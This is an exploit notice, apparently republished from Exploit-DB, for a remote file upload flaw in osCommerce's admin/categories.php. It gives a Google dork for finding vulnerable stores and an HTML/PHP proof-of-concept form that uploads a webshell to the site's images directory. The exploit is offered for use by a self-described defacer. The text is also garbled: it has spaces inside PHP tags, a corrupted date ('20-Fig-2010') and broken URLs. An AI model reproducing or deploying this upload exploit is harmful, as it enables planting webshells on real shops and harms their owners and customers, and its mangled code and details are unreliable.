OsCommerce is an e-commerce system. The categories. php file in the admin directory of osCommerce has the remote file upload vulnerability, which may be exploited by attackers to upload webshells.
[+] Info:
~~~~~~~~~
# Exploit Title: [oscommerce remote upload from categories. php]
# Google Dork: ["powered by oscommerce"]
# Date: [20-Fig-2010]
# Author: [Number 7]
# Contact: {an [dot] 7 [at] live [dot] fr}
# Software Link: [http://www.oscommerce.com/solutions/downloads]
# Tested on: [windows-linux-FreeBSD-Solaris]
[+] Poc:
~~~~~~~~~
View sourceprint? 01
02
03 <title> Number 7 </title>
04
05 <body>
06 <div style = "text-align: center;"> <big
07 style = "color: rgb (253, 0, 0);"> <big> Discovered
08 By Number 7 <br>
09 </big> <span
10 style = "color: rgb (102,102,102);"> (best defacer kairouan
11 tunisia 2010) </span> <br>
12 </div>
13 <big style = "font-weight: bold; color: rgb (253, 0, 0);"> <big> Oscommerce
14 script: Remote File Upload in/admin/Categories. php </big> <br>
15 <? Php $ host = "site ";
16 $ path = "ath ";
17?>
18 <form name = "new_product"
19 action = "http: // <? Php echo $ host; echo $ path;?> /Admin/categories. php/login. php? CPath = & action = new_product_preview"
20 method = "post" enctype = "multipart/form-data"> <br>
21 <input name = "products_image" type = "file"> <br>
22 <input name = "submit" value = "Save" type = "submit"> <br>
23 <big style = "font-weight: bold; color: rgb (253, 0, 0);"> <big> shell
24 here: </big> <br>
25 <? Php echo ("Using upload File: <a href = http: // $ host/$ path/images/product_info.php> $ host/</> $ path </>/images/product_info.php </a> </font> </body>" );
26?> </Form>
27 </body>
28
[+] Reference:
~~~~~~~~~
Http://www.exploit-db.com/exploits/15587